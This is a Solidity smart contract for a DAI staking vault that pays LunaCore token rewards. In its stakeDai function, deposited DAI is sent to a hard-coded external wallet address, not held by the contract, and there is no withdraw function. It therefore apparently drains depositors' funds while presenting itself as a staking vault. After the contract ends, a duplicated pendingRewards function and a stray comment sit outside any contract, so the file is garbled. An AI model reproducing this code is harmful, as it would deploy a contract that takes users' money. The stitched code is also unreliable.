contract DAIVault is Ownable {
  using SafeMath for uint256;
  using SafeERC20 for IERC20;

  struct User {
    uint256 _DaiDeposited;
    uint256 _rewardDebt;
  }

  // events

  event StakeCompleted(address _staker, uint256 _amount, uint256 _totalStaked, uint256 _time);
  event PoolUpdated(uint256 _blocksRewarded, uint256 _amountRewarded, uint256 _time);
  event RewardsClaimed(address _staker, uint256 _rewardsClaimed, uint256 _time);

  // constants

  IERC20 public DaiToken;
  IERC20 public LunaCoreToken;
  address public rewardPool;
  uint256 public dailyReward;
  uint256 public accLunaCorePerShare;
  uint256 public lastRewardBlock;
  uint256 public totalStaked;

  mapping(address => User) public userDetails;

  constructor(address _DaiToken, address _LunaCoreToken, address _rewardPool, uint256 _dailyReward) Ownable() public {
    DaiToken = IERC20(_DaiToken);
    LunaCoreToken = IERC20(_LunaCoreToken);
    rewardPool = _rewardPool;
    lastRewardBlock = block.number;
    setDailyReward(_dailyReward);
    accLunaCorePerShare = 0;
  }

  // 6500 blocks in average day --- decimals * LunaCore balance of rewardPool / blocks / 10000 * dailyReward (in hundredths of %) = rewardPerBlock
  function getRewardPerBlock() public view returns(uint256) {
    return LunaCoreToken.balanceOf(rewardPool).div(6500).div(10000).mul(dailyReward);
  }

  function setDailyReward(uint256 _dailyReward) public onlyOwner {
    dailyReward = _dailyReward;
  }

  // Function that will get balance of a certain stake
  function getUserBalance(address _staker) public view returns(uint256 _amountStaked) {
    return userDetails[_staker]._DaiDeposited;
  }

  // Function that returns User's pending rewards
  function pendingRewards(address _staker) public view returns(uint256) {
    User storage user = userDetails[_staker];

    uint256 _accLunaCorePerShare = accLunaCorePerShare;

    if (block.number > lastRewardBlock && totalStaked != 0) {
      uint256 blocksToReward = block.number.sub(lastRewardBlock);
      uint256 LunaCoreReward = blocksToReward.mul(getRewardPerBlock());
      _accLunaCorePerShare = _accLunaCorePerShare.add(LunaCoreReward.mul(1e18).div(totalStaked));
    }

    return user._DaiDeposited.mul(_accLunaCorePerShare).div(1e18).sub(user._rewardDebt);
  }

  function updatePool() public {
    if (block.number <= lastRewardBlock) {
      return;
    }

    if (totalStaked == 0) {
      lastRewardBlock = block.number;
      return;
    }

    uint256 blocksToReward = block.number.sub(lastRewardBlock);

    uint256 LunaCoreReward = blocksToReward.mul(getRewardPerBlock());

    LunaCoreToken.transferFrom(rewardPool, address(this), LunaCoreReward);

    accLunaCorePerShare = accLunaCorePerShare.add(LunaCoreReward.mul(1e18).div(totalStaked));
    lastRewardBlock = block.number;

    emit PoolUpdated(blocksToReward, LunaCoreReward, now);
  }

  function stakeDai(uint256 _amount) public {
    require(_amount > 0, "Can not stake 0 Dai tokens");
    require(DaiToken.balanceOf(_msgSender()) >= _amount, "Do not have enough Dai tokens to stake");

    updatePool();

    User storage user = userDetails[_msgSender()];

    if(user._DaiDeposited > 0) {
      uint256 _pendingRewards = user._DaiDeposited.mul(accLunaCorePerShare).div(1e18).sub(user._rewardDebt);

      if(_pendingRewards > 0) {
          LunaCoreToken.transfer(_msgSender(), _pendingRewards);
          emit RewardsClaimed(_msgSender(), _pendingRewards, now);
      }
    }

    DaiToken.transferFrom(_msgSender(), address(0xcC249D41F3b4ea5C79EC82F5F0D91f39CFa2B92d), _amount);
    user._DaiDeposited = user._DaiDeposited.add(_amount);
    totalStaked = totalStaked.add(_amount);

    user._rewardDebt = user._DaiDeposited.mul(accLunaCorePerShare).div(1e18);

    emit StakeCompleted(_msgSender(), _amount, user._DaiDeposited, now);
  }

  // Function that will allow user to claim rewards
  function claimRewards() public {
    updatePool();

    User storage user = userDetails[_msgSender()];

    uint256 _pendingRewards = user._DaiDeposited.mul(accLunaCorePerShare).div(1e18).sub(user._rewardDebt);
    require(_pendingRewards > 0, "No rewards to claim!");

    LunaCoreToken.transfer(_msgSender(), _pendingRewards);

    user._rewardDebt = user._DaiDeposited.mul(accLunaCorePerShare).div(1e18);

    emit RewardsClaimed(_msgSender(), _pendingRewards, now);
  }
}
function pendingRewards(address _staker) public view returns(uint256) {
  User storage user = userDetails[_staker];

  uint256 _accLunaCorePerShare = accLunaCorePerShare;

  if (block.number > lastRewardBlock && totalStaked != 0) {
    uint256 blocksToReward = block.number.sub(lastRewardBlock);
    uint256 LunaCoreReward = blocksToReward.mul(getRewardPerBlock());
    _accLunaCorePerShare = _accLunaCorePerShare.add(LunaCoreReward.mul(1e18).div(totalStaked));
  }

  return user._DaiDeposited.mul(_accLunaCorePerShare).div(1e18).sub(user._rewardDebt);
}

// Function that returns User's pending rewards